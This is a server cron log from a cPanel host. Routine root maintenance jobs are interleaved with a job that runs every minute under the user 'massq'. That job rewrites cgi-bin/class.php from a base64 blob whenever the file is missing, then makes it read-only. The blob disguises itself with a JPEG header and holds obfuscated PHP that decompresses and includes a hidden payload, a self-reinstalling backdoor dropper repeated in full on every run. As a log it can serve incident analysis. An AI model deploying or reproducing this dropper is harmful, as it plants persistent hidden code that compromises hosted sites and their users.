Sep  6 03:21:01 server CROND[30174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:21:01 server CROND[30175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:22:01 server CROND[30612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:22:01 server CROND[30613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:22:01 server CROND[30616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:23:01 server CROND[31018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:23:01 server CROND[31020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:23:01 server CROND[31021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:24:01 server CROND[31388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:24:01 server CROND[31389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:24:01 server CROND[31390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:25:01 server CROND[31761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:25:01 server CROND[31764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:25:01 server CROND[31763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:25:01 server CROND[31762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:25:01 server CROND[31766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:25:01 server CROND[31765]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:25:01 server CROND[31767]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:26:01 server CROND[32586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:26:01 server CROND[32587]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:26:01 server CROND[32588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:27:01 server CROND[533]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Sep  6 03:27:01 server CROND[534]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 03:27:01 server CROND[536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:27:01 server CROND[537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:27:01 server CROND[540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:28:01 server CROND[1100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:28:01 server CROND[1101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:28:01 server CROND[1102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:29:01 server CROND[1512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:29:01 server CROND[1513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:29:01 server CROND[1514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:30:01 server CROND[1889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 03:30:01 server CROND[1891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 03:30:01 server CROND[1894]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 03:30:01 server CROND[1896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 03:30:01 server CROND[1897]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 03:30:01 server CROND[1898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:30:01 server CROND[1899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:30:01 server CROND[1895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:31:01 server CROND[2819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:31:01 server CROND[2820]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:31:01 server CROND[2822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:32:01 server CROND[3191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 03:32:01 server CROND[3192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 03:32:01 server CROND[3193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 03:33:01 server CROND[3710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
